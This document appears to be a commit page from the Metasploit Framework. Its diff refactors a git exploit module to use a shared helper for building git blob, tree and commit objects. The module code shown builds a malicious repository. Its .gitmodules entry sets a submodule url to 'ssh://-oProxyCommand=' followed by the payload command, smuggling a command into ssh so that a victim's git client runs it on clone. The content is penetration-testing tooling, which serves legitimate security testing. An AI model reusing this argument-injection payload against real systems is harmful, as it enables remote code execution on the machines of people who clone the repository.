add git mixin changes and usage in git exploits

This commit is contained in:
Shelby Pace
2021-04-22 13:21:30 -05:00
committed by space-r7
parent 3fb225c9c6
commit d89554e995
4 changed files with 105 additions and 100 deletions
@@ -91,29 +91,29 @@ class MetasploitModule < Msf::Exploit::Remote
path = #{submodule_path}
url = ssh://-oProxyCommand=#{payload_cmd}/
"
sha1, content = build_blob_object(gitmodules)
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
blob_obj = Msf::Exploit::Git::GitObject.build_blob_object(gitmodules)
@repo_data[:git][:files]["/objects/#{blob_obj.path}"] = blob_obj.compressed
tree_entries = [
{
mode: '100644',
file_name: '.gitmodules',
sha1: sha1
sha1: blob_obj.sha1
},
{
mode: '160000',
file_name: submodule_path,
sha1: sha1
sha1: blob_obj.sha1
}
]
sha1, content = build_tree_object(tree_entries)
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
tree_obj = Msf::Exploit::Git::GitObject.build_tree_object(tree_entries)
@repo_data[:git][:files]["/objects/#{tree_obj.path}"] = tree_obj.compressed
sha1, content = build_commit_object(nil, nil, sha1)
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_obj.sha1)
@repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed
@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
@repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n"
end
def exploit